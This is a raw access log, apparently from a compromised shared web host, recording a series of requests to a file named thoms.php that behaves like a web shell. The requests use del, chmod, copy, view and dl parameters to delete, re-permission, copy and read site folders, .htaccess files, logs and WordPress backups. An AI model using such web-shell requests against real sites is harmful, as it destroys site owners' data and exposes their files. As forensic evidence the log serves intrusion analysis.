45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=big-wife.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?del=wp-content&p= HTTP/1.1" 200 22661 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?del=ba-guo.com-20260912023525&p= HTTP/1.1" 200 22614 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=bfl.com.tw&p= HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?del=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?p=&view=mah.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?copy=bestzyx.com.tw&p= HTTP/1.1" 200 12432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?del=.htaccess&p= HTTP/1.1" 200 22639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?p= HTTP/1.1" 200 22647 "https://163.245.207.76/ba-guo.com.tw/thoms.php?p=&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?del=thoms.php&p= HTTP/1.1" 200 22643 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus-20260912023538.zip HTTP/1.1" 200 46384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?del=cgi-bin&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17507 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?p= HTTP/1.1" 200 22636 "https://163.245.207.76/ba-guo.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?del=bioway88.com.tw&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?p=wp-content HTTP/1.1" 200 13955 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?dl=-20260912023718.htaccess&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17262 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=bft.com.tw&p= HTTP/1.1" 200 11427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?del=betcity.com.tw&p= HTTP/1.1" 200 22647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?dl=mah.php&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?copy=besth2o.com.tw&p= HTTP/1.1" 200 12409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?copy=betcity.com.tw&p= HTTP/1.1" 200 12411 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=broadweb.com-20260912023716&p= HTTP/1.1" 200 11449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=betcity.com.tw&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?del=ba-guo.com.tw&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?del=bogroup.com.tw&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?p=bft.com.tw HTTP/1.1" 200 19373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?del=bft.com.tw&p= HTTP/1.1" 200 22643 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:26 -0400] "GET /ba-guo.com.tw/thoms.php?copy=biotaiwan.com-20260912023713&p= HTTP/1.1" 200 12412 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?del=upgrade&p= HTTP/1.1" 200 22650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?p=&view=-20260912023718.htaccess HTTP/1.1" 200 11948 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?copy=error_log-20260912023633.&p= HTTP/1.1" 200 12406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?copy=mah-20260912023710.php&p= HTTP/1.1" 200 12408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=mah.php&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?copy=ba-guo.com-20260912023525&p= HTTP/1.1" 200 12398 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=beauty-dental.com.tw&p= HTTP/1.1" 200 11436 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?del=besth2o.com.tw&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?p= HTTP/1.1" 200 22651 "https://163.245.207.76/ba-guo.com.tw/thoms.php?chmod=mah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?copy=biotaiwan.com.tw&p= HTTP/1.1" 200 12402 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?p=cgi-bin HTTP/1.1" 200 13324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?p=&view=.htaccess HTTP/1.1" 200 11922 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=bestzyx.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?del=beauty-dental.com.tw&p= HTTP/1.1" 200 22613 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=bodbooks.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?p=&view=error_log-20260912023633. HTTP/1.1" 200 12244 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=besth2o.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?copy=bfl.com.tw&p= HTTP/1.1" 200 12406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?p= HTTP/1.1" 200 22645 "https://163.245.207.76/ba-guo.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=bioway88.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=broadweb.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?copy=upgrade&p= HTTP/1.1" 200 12404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /ba-guo.com.tw/thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17506 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /ba-guo.com.tw/wp-content/languages/ HTTP/1.1" 200 4150 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /ba-guo.com.tw/wp-content/mu-plugins/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /thoms.php?chmod=upgrade&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-content&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-content&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Fplugins&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Fplugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /thoms.php?del=uploads&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=uploads&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-content%2Fthemes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /thoms.php?del=themes&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=themes&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Fuploads&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Fuploads&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /thoms.php?chmod=themes&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=themes&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:28 -0400] "GET /thoms.php?del=upgrade-temp-backup&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upgrade-temp-backup&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-content&view=temp-write-test-6a030642b5ea56-74189484 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-content&view=temp-write-test-6a030642b5ea56-74189484" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /ba-guo.com.tw/wp-content/index.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /thoms.php?chmod=mu-plugins&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=mu-plugins&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-content%2Fplugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-content%2Fplugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Fupgrade&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
